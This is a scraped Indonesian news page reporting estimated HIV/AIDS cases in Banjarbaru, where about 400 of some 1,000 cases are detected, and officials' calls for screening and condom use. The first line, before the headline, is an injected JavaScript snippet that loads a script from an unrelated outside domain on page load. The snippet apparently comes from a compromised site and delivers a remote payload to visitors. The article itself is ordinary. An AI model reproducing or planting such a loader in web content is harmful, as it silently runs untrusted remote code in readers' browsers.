(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

‘Alarm’ HIV/AIDS di Banjarbaru, Sebagian Penderita Belum Terdeteksi


KANALKALIMANTAN.COM, BANJARBARU – Komisi Penanggulangan AIDS (KPA) Kota Banjarbaru mencatat estimasi penderita HIV/AIDS di Kota Banjarbaru mencapai 1.000 orang. Namun, baru sebagian yang menjalani pengobatan.

Sekretaris KPA Kota Banjarbaru Edi Sampana menyebutkan, pengidap HIV di Banjarbaru masih banyak. Diestimasi di Banjarbaru terdapat sekitar 1.000 orang teridap HIV/AIDS, tapi yang berhasil dideteksi sekitar 400 orang saja.

“Jadi masih 600 pasien yang belum terdeteksi,” ujarnya, Selasa (16/8/2022).

Karena itu, kata Edi, Dinas Kesehatan (Dinkes) Kota Banjarbaru harus aktif melakukan skrining atau tes cepat pada populasi risiko tinggi untuk mendeteksi sedini mungkin.

 

 

Baca juga: Bupati Banjar Sebut Pembangunan Berkelanjutan di Rapat Paripurna Istimewa Harjad ke-72 Kabupaten Banjar

“Semakin dini dideteksi, semakin baik prognosisnya,” ucapnya.

Selain pada orang yang kelihatan sehat, skrining ini juga dilakukan pada pelayanan statis Puskesmas dan Rumah Sakit (RS) pada orang yang sakit bergejala dicurigai penyakit menular dari hubungan seks ini.

“Skrining pada orang yang kelihatan sehat kebanyakan dilakukan di luar pelayanan statis, misalnya di Lapas, tempat hiburan (karaoke, biliar, hotel), dan rumah singgah Dinas Sosial,” sebut Edi Sampana.

Edi menambahkan untuk mencapai eliminasi HIV pada tahun 2030, harus dilakukan deteksi dini. Sehingga yang 600 tadi segera ditemukan, dikonseling, dan diobati. Sehingga mereka tidak akan menulari orang lain.

“Untuk mencapai eliminasi HIV pada tahun 2030 juga harus disosialisasikan fungsi kondom untuk mencegah IMS. Jadi kalau kondom tidak dipakai, maka yang 600 tadi secara tidak sengaja akan menulari orang lain. Sehingga orang yang tertular akan bertambah terus, akibatnya kita akan gagal mencapai eliminasi HIV pada tahun 2030,” pungkasnya. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

15 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

17 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

18 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

20 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

22 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

23 jam ago

This website uses cookies.